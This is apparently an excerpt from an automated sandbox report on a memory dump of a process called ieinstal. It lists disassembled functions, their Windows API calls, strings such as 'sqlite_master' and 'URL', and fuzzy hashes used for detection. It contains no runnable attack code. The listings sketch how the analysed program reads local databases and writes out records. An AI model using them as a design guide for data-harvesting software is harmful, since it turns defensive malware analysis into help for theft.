                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: memcpy$memset
                                                                                                                            • String ID: sqlite_master
                                                                                                                            • API String ID: 438689982-3163232059
                                                                                                                            • Opcode ID: ce75bbd10503082b7a64f0374325e472d1c426e795aaa729e5fb1d324fd651cc
                                                                                                                            • Instruction ID: 9056235088afc86d32383ab843763c359d37acea7f1aa245e41bfa901f9896ac
                                                                                                                            • Opcode Fuzzy Hash: ce75bbd10503082b7a64f0374325e472d1c426e795aaa729e5fb1d324fd651cc
                                                                                                                            • Instruction Fuzzy Hash: 9401C872D006047BDB11AFB19C42FDEBB7CEF05318F51452BFA0461182E73A97248795
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00414D8A Relevance: 6.1, APIs: 4, Instructions: 53COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • SHGetMalloc.SHELL32(?), ref: 00414D9A
                                                                                                                            • SHBrowseForFolderW.SHELL32(?), ref: 00414DCC
                                                                                                                            • SHGetPathFromIDListW.SHELL32(00000000,?), ref: 00414DE0
                                                                                                                            • wcscpy.MSVCRT ref: 00414DF3
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: BrowseFolderFromListMallocPathwcscpy
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 3917621476-0
                                                                                                                            • Opcode ID: d90d9ac40998c7a3314b3e96da16ed6310d1c669f25a0de425d8610d706a6174
                                                                                                                            • Instruction ID: 3f0f02420fde520a26c7535fd1ed00e0b1d7e8cc8ebd586967f5863715f62e8c
                                                                                                                            • Opcode Fuzzy Hash: d90d9ac40998c7a3314b3e96da16ed6310d1c669f25a0de425d8610d706a6174
                                                                                                                            • Instruction Fuzzy Hash: 3311FAB5A00208AFDB10DFA9D9889EEB7F8FB49314F10446AF905E7200D739DB45CB64
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00410FB4 Relevance: 6.0, APIs: 4, Instructions: 50windowCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                              • Part of subcall function 0040D134: GetModuleHandleW.KERNEL32(00000000,?,?,00402E6F), ref: 0040D173
                                                                                                                              • Part of subcall function 0040D134: LoadStringW.USER32(00000000,?,?), ref: 0040D20C
                                                                                                                              • Part of subcall function 0040D134: memcpy.MSVCRT ref: 0040D24C
                                                                                                                            • _snwprintf.MSVCRT ref: 00410FE1
                                                                                                                            • SendMessageW.USER32(?,0000040B,00000000,?), ref: 00411046
                                                                                                                              • Part of subcall function 0040D134: wcscpy.MSVCRT ref: 0040D1B5
                                                                                                                              • Part of subcall function 0040D134: wcslen.MSVCRT ref: 0040D1D3
                                                                                                                              • Part of subcall function 0040D134: GetModuleHandleW.KERNEL32(00000000), ref: 0040D1E1
                                                                                                                            • _snwprintf.MSVCRT ref: 0041100C
                                                                                                                            • wcscat.MSVCRT ref: 0041101F
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: HandleModule_snwprintf$LoadMessageSendStringmemcpywcscatwcscpywcslen
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 822687973-0
                                                                                                                            • Opcode ID: 31feba04f8ec477b70d9d9ccd2954727a7d962f108a96a42e882c3f5707c4d5c
                                                                                                                            • Instruction ID: a8ddfa12325215ca31dcaa8c3ea10779747deab4b932dc2622e692dd88e5739d
                                                                                                                            • Opcode Fuzzy Hash: 31feba04f8ec477b70d9d9ccd2954727a7d962f108a96a42e882c3f5707c4d5c
                                                                                                                            • Instruction Fuzzy Hash: DC0184B59003056AF730E765DC86FAB73ACAB44708F04047AB319F6183DA79A9454A6D
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00417434 Relevance: 6.0, APIs: 4, Instructions: 48COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,00000000,00000000,?,?,75A3DF80,?,0041755F,?), ref: 00417452
                                                                                                                            • malloc.MSVCRT ref: 00417459
                                                                                                                            • WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,?,00000000,00000000,?,75A3DF80,?,0041755F,?), ref: 00417478
                                                                                                                            • ??3@YAXPAX@Z.MSVCRT ref: 0041747F
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: ByteCharMultiWide$??3@malloc
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 4284152360-0
                                                                                                                            • Opcode ID: 35e3d96e4e8f16596d993fb63affbe7c511ca80ecd689a4fb8a2c9eba3d4a450
                                                                                                                            • Instruction ID: 8389f0226c663b3c6d8c6253af8546a3d73aba679155ae8f7c82d0c1376384d0
                                                                                                                            • Opcode Fuzzy Hash: 35e3d96e4e8f16596d993fb63affbe7c511ca80ecd689a4fb8a2c9eba3d4a450
                                                                                                                            • Instruction Fuzzy Hash: 1DF0E9B620D21E3F7B006AB55CC0C7B7B9CD7862FCB11072FF51091180E9594C1116B6
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 004123E2 Relevance: 6.0, APIs: 4, Instructions: 47registryCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • GetModuleHandleW.KERNEL32(00000000), ref: 00412403
                                                                                                                            • RegisterClassW.USER32(?), ref: 00412428
                                                                                                                            • GetModuleHandleW.KERNEL32(00000000), ref: 0041242F
                                                                                                                            • CreateWindowExW.USER32(00000000,00000000,0044E518,00CF0000,00000000,00000000,00000280,000001E0,00000000,00000000,00000000), ref: 00412455
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: HandleModule$ClassCreateRegisterWindow
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 2678498856-0
                                                                                                                            • Opcode ID: ffa2941c40dc3e4da5dfeb6f60aef2ef72cf6d205e20c7803454451710b81cbd
                                                                                                                            • Instruction ID: 2742b6e08e64d4f702ac0bdc031c2178a10537c5a2141806c9029dd5a11ba4c1
                                                                                                                            • Opcode Fuzzy Hash: ffa2941c40dc3e4da5dfeb6f60aef2ef72cf6d205e20c7803454451710b81cbd
                                                                                                                            • Instruction Fuzzy Hash: E601E5B1941228ABD7119FA68C89ADFBEBCFF09B14F10411AF514A2240D7B456408BE9
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00409B32 Relevance: 6.0, APIs: 4, Instructions: 47windowCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • GetDlgItem.USER32(?,?), ref: 00409B40
                                                                                                                            • SendMessageW.USER32(00000000,00000146,00000000,00000000), ref: 00409B58
                                                                                                                            • SendMessageW.USER32(00000000,00000150,00000000,00000000), ref: 00409B6E
                                                                                                                            • SendMessageW.USER32(00000000,0000014E,00000000,00000000), ref: 00409B91
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: MessageSend$Item
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 3888421826-0
                                                                                                                            • Opcode ID: cb9c6f71d59db109bdd11c185378715e2458b2dfdf7aafdda88e0268854c6760
                                                                                                                            • Instruction ID: c5475329a145d4377f6ebcab718370c73cf4573fffc80ea9acc016878d8bcf0e
                                                                                                                            • Opcode Fuzzy Hash: cb9c6f71d59db109bdd11c185378715e2458b2dfdf7aafdda88e0268854c6760
                                                                                                                            • Instruction Fuzzy Hash: 89F01D75A0010CBFEB019F959CC1CAF7BBDFB497A4B204475F504E2150D274AE41AA64
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00417B5E Relevance: 6.0, APIs: 4, Instructions: 45fileCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • memset.MSVCRT ref: 00417B7B
                                                                                                                            • UnlockFileEx.KERNEL32(?,00000000,?,00000000,?), ref: 00417B9B
                                                                                                                            • LockFileEx.KERNEL32(?,00000001,00000000,?,00000000,?), ref: 00417BA7
                                                                                                                            • GetLastError.KERNEL32 ref: 00417BB5
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: File$ErrorLastLockUnlockmemset
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 3727323765-0
                                                                                                                            • Opcode ID: 8dd354450774e38097dcb59a2dc1954613c626237ffe04feccb939eb681cbc84
                                                                                                                            • Instruction ID: 0282759007fe27108f915f617c318df1b7667033481b7feabffed058191037b6
                                                                                                                            • Opcode Fuzzy Hash: 8dd354450774e38097dcb59a2dc1954613c626237ffe04feccb939eb681cbc84
                                                                                                                            • Instruction Fuzzy Hash: A801F971108208BFDB219FA5DC84D9B77B8FB40308F20483AF51395050D730A944CB65
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 004173E4 Relevance: 6.0, APIs: 4, Instructions: 41COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00418178,000000FF,00000000,00000000,00417D63,?,?,00417D63,00418178,00000000,?,004183E5,?,00000000), ref: 004173FF
                                                                                                                            • malloc.MSVCRT ref: 00417407
                                                                                                                            • MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00418178,000000FF,00000000,00000000,?,00417D63,00418178,00000000,?,004183E5,?,00000000,00000000,?), ref: 0041741E
                                                                                                                            • ??3@YAXPAX@Z.MSVCRT ref: 00417425
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: ByteCharMultiWide$??3@malloc
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 4284152360-0
                                                                                                                            • Opcode ID: a2ae8ec016122b8f6e3efdb0c2476e7f426d1c5b61e32c0c73e3f87cc7c6b3a1
                                                                                                                            • Instruction ID: cad4d062c051d68cf548c6c9b5623cfc012c7edadb1d539185634ca375d1558c
                                                                                                                            • Opcode Fuzzy Hash: a2ae8ec016122b8f6e3efdb0c2476e7f426d1c5b61e32c0c73e3f87cc7c6b3a1
                                                                                                                            • Instruction Fuzzy Hash: E7F0377620921E7BDA1029655C40D77779CEB8B675B11072BBA10D21C1ED59D81005B5
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0040F64E Relevance: 6.0, APIs: 4, Instructions: 41filestringCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • memset.MSVCRT ref: 0040F673
                                                                                                                            • WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,?,00007FFF,00000000,00000000,?,<item>), ref: 0040F690
                                                                                                                            • strlen.MSVCRT ref: 0040F6A2
                                                                                                                            • WriteFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 0040F6B3
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: ByteCharFileMultiWideWritememsetstrlen
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 2754987064-0
                                                                                                                            • Opcode ID: 3f0454cb73c2afb10a3316e2dc28fa1dd1c693e32e23138b57773469a51e87f3
                                                                                                                            • Instruction ID: e5447571fde1e0de43d26e7f5909b1ba013d3ab3fbf9ce0dfcc5e01eb4e41d37
                                                                                                                            • Opcode Fuzzy Hash: 3f0454cb73c2afb10a3316e2dc28fa1dd1c693e32e23138b57773469a51e87f3
                                                                                                                            • Instruction Fuzzy Hash: 03F062B680102C7FEB81A794DC81DEB77ACEB05258F0080B2B715D2140E9749F484F7D
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0040F6BD Relevance: 6.0, APIs: 4, Instructions: 41filestringCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • memset.MSVCRT ref: 0040F6E2
                                                                                                                            • WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,00001FFF,00000000,00000000,?,<item>), ref: 0040F6FB
                                                                                                                            • strlen.MSVCRT ref: 0040F70D
                                                                                                                            • WriteFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 0040F71E
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: ByteCharFileMultiWideWritememsetstrlen
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 2754987064-0
                                                                                                                            • Opcode ID: 7e04724105a3fa4aadef5922e8bb643722353f9661974f919d975e4a71db6ff5
                                                                                                                            • Instruction ID: 4069f22fd96ae38f7b0fbed24adb75974e75abfa9f51d26af0f678a77882025e
                                                                                                                            • Opcode Fuzzy Hash: 7e04724105a3fa4aadef5922e8bb643722353f9661974f919d975e4a71db6ff5
                                                                                                                            • Instruction Fuzzy Hash: C8F06DB780022CBFFB059B94DCC8DEB77ACEB05254F0000A2B715D2042E6749F448BB8
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00402FB2 Relevance: 6.0, APIs: 4, Instructions: 41filestringCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • memset.MSVCRT ref: 00402FD7
                                                                                                                            • WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,?,00001FFF,00000000,00000000), ref: 00402FF4
                                                                                                                            • strlen.MSVCRT ref: 00403006
                                                                                                                            • WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00403017
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: ByteCharFileMultiWideWritememsetstrlen
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 2754987064-0
                                                                                                                            • Opcode ID: 49e580325b1ac44ac77cea4f14661dbded7e9a4fc7592e14ed5ffb05533c48ce
                                                                                                                            • Instruction ID: 6e06d661e179051d6303c1013900a6e5c00fd457a34177cb37a2705ba00c9068
                                                                                                                            • Opcode Fuzzy Hash: 49e580325b1ac44ac77cea4f14661dbded7e9a4fc7592e14ed5ffb05533c48ce
                                                                                                                            • Instruction Fuzzy Hash: 01F049B680122CBEFB05AB949CC9DEB77ACEB05254F0000A2B715D2082E6749F448BA9
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0041437B Relevance: 6.0, APIs: 4, Instructions: 38COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                              • Part of subcall function 00409D7F: memset.MSVCRT ref: 00409D9E
                                                                                                                              • Part of subcall function 00409D7F: GetClassNameW.USER32(?,00000000,000000FF), ref: 00409DB5
                                                                                                                              • Part of subcall function 00409D7F: _wcsicmp.MSVCRT ref: 00409DC7
                                                                                                                            • SetBkMode.GDI32(?,00000001), ref: 004143A2
                                                                                                                            • SetBkColor.GDI32(?,00FFFFFF), ref: 004143B0
                                                                                                                            • SetTextColor.GDI32(?,00C00000), ref: 004143BE
                                                                                                                            • GetStockObject.GDI32(00000000), ref: 004143C6
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: Color$ClassModeNameObjectStockText_wcsicmpmemset
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 764393265-0
                                                                                                                            • Opcode ID: 511a8a1029f4fd91347c0110e60971c3c9d55721028eb227f3be943e95f629a7
                                                                                                                            • Instruction ID: 55a1794077c12dabf0ba6e1c8d3319674f3f2ba5a0574a39bcd6537ad23d1771
                                                                                                                            • Opcode Fuzzy Hash: 511a8a1029f4fd91347c0110e60971c3c9d55721028eb227f3be943e95f629a7
                                                                                                                            • Instruction Fuzzy Hash: 3AF06835200219BBCF112FA5EC06EDD3F25BF05321F104536FA25A45F1CBB59D609759
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0040A751 Relevance: 6.0, APIs: 4, Instructions: 34timeCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • FileTimeToSystemTime.KERNEL32(?,?), ref: 0040A76D
                                                                                                                            • SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?,?,?), ref: 0040A77D
                                                                                                                            • SystemTimeToFileTime.KERNEL32(?,?,?,?), ref: 0040A78C
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: Time$System$File$LocalSpecific
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 979780441-0
                                                                                                                            • Opcode ID: e6f681992166f7eacb6a90eac37249c69a118d36aeffaac3dc06015c0a75a69a
                                                                                                                            • Instruction ID: f583aad53f3de4022dcae7e9f33737e8013f67213d7447df07319dea818b2b95
                                                                                                                            • Opcode Fuzzy Hash: e6f681992166f7eacb6a90eac37249c69a118d36aeffaac3dc06015c0a75a69a
                                                                                                                            • Instruction Fuzzy Hash: 48F08272900219AFEB019BB1DC49FBBB3FCBB0570AF04443AE112E1090D774D0058B65
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 004134C6 Relevance: 6.0, APIs: 4, Instructions: 33COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • memcpy.MSVCRT ref: 004134E0
                                                                                                                            • memcpy.MSVCRT ref: 004134F2
                                                                                                                            • GetModuleHandleW.KERNEL32(00000000), ref: 00413505
                                                                                                                            • DialogBoxParamW.USER32(00000000,0000006B,?,Function_000131DC,00000000), ref: 00413519
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: memcpy$DialogHandleModuleParam
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 1386444988-0
                                                                                                                            • Opcode ID: d55c8f406ca3c44be23ebae39d0952233c85391216aaf70b52daa0aa76105663
                                                                                                                            • Instruction ID: 364e94b7bdcda47f4d7f1f8d7aeee0d56301a77e6e21c3ce81869cca2c347424
                                                                                                                            • Opcode Fuzzy Hash: d55c8f406ca3c44be23ebae39d0952233c85391216aaf70b52daa0aa76105663
                                                                                                                            • Instruction Fuzzy Hash: 80F0E272A843207BF7207FA5AC0AB477E94FB05B03F114826F600E50D2C2B988518F8D
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00411D08 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 187windowCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • SendMessageW.USER32(?,00000010,00000000,00000000), ref: 00411D71
                                                                                                                            • InvalidateRect.USER32(?,00000000,00000000), ref: 00411DC1
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: InvalidateMessageRectSend
                                                                                                                            • String ID: d=E
                                                                                                                            • API String ID: 909852535-3703654223
                                                                                                                            • Opcode ID: d50188de171b89ef93dcf19ee585c83eb13d29586f1846fcb2bff02c85403588
                                                                                                                            • Instruction ID: 9534a32422cce1c6391a187da628b0196a645ea69cbd0f5c6bc65931d7846800
                                                                                                                            • Opcode Fuzzy Hash: d50188de171b89ef93dcf19ee585c83eb13d29586f1846fcb2bff02c85403588
                                                                                                                            • Instruction Fuzzy Hash: 7E61E9307006044BDB20EB658885FEE73E6AF44728F42456BF2195B2B2CB79ADC6C74D
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0040F75C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • wcschr.MSVCRT ref: 0040F79E
                                                                                                                            • wcschr.MSVCRT ref: 0040F7AC
                                                                                                                              • Part of subcall function 0040AA8C: wcslen.MSVCRT ref: 0040AAA8
                                                                                                                              • Part of subcall function 0040AA8C: memcpy.MSVCRT ref: 0040AACB
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: wcschr$memcpywcslen
                                                                                                                            • String ID: "
                                                                                                                            • API String ID: 1983396471-123907689
                                                                                                                            • Opcode ID: a49a7bca3fdcf7d664bb1a19bbfdf9ac20233bdad490a911e177b035a317b33a
                                                                                                                            • Instruction ID: b5ec2b97dc3a1d34b4ae52474db4a85f3d32b900c8044ec90cdce640e07fed14
                                                                                                                            • Opcode Fuzzy Hash: a49a7bca3fdcf7d664bb1a19bbfdf9ac20233bdad490a911e177b035a317b33a
                                                                                                                            • Instruction Fuzzy Hash: 7C315532904204ABDF24EFA6C8419EEB7B4EF44324F20457BEC10B75D1DB789A46CE99
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0040BFF3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                              • Part of subcall function 0040A32D: SetFilePointer.KERNEL32(0040C2BF,?,00000000,00000000,?,0040C0C5,00000000,00000000,?,00000020,?,0040C255,?,?,*.*,0040C2BF), ref: 0040A33A
                                                                                                                            • _memicmp.MSVCRT ref: 0040C00D
                                                                                                                            • memcpy.MSVCRT ref: 0040C024
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: FilePointer_memicmpmemcpy
                                                                                                                            • String ID: URL
                                                                                                                            • API String ID: 2108176848-3574463123
                                                                                                                            • Opcode ID: 0ffae9aaa7e8776105f4b8355cfdff3a17deb021c318058ed5e09a60dc4caa80
                                                                                                                            • Instruction ID: e2f67ed442a0be3002cd5c838a3b557e7d557c6bd05ddcbc6cfa09d4dad31ce1
                                                                                                                            • Opcode Fuzzy Hash: 0ffae9aaa7e8776105f4b8355cfdff3a17deb021c318058ed5e09a60dc4caa80
                                                                                                                            • Instruction Fuzzy Hash: 03110271600204FBEB11DFA9CC45F5B7BA9EF41388F004166F904AB291EB79DE10C7A9
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0040A353 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: _snwprintfmemcpy
                                                                                                                            • String ID: %2.2X
                                                                                                                            • API String ID: 2789212964-323797159
                                                                                                                            • Opcode ID: 565383a1db30c24bbe212324ccaa161bb2139c15501903e42e5a35b00c7b7038
                                                                                                                            • Instruction ID: 802357eb4f50a043e47c8b78e7782d62930b20b04af67ea92e1f933aeb07fc5a
                                                                                                                            • Opcode Fuzzy Hash: 565383a1db30c24bbe212324ccaa161bb2139c15501903e42e5a35b00c7b7038
                                                                                                                            • Instruction Fuzzy Hash: 71118E32900309BFEB10DFE8D8829AFB3B9FB05314F108476ED11E7141D6789A258B96
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0040F9B5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: _snwprintf
                                                                                                                            • String ID: %%-%d.%ds
                                                                                                                            • API String ID: 3988819677-2008345750
                                                                                                                            • Opcode ID: ff7c17540168d96ed4966b56b0a467b3337874ab214ea8a90bdbbe2252cfc3dc
                                                                                                                            • Instruction ID: 7541af853baca77dfc804340e5f0ab0fe899c5989b891af63cf45e557cb41de3
                                                                                                                            • Opcode Fuzzy Hash: ff7c17540168d96ed4966b56b0a467b3337874ab214ea8a90bdbbe2252cfc3dc
                                                                                                                            • Instruction Fuzzy Hash: B801DE71200204BFD720EE59CC82D5AB7E8FB48308B00443AF846A7692D636E854CB65
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0040E758 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41windowCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • memset.MSVCRT ref: 0040E770
                                                                                                                            • SendMessageW.USER32(F^@,0000105F,00000000,?), ref: 0040E79F
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: MessageSendmemset
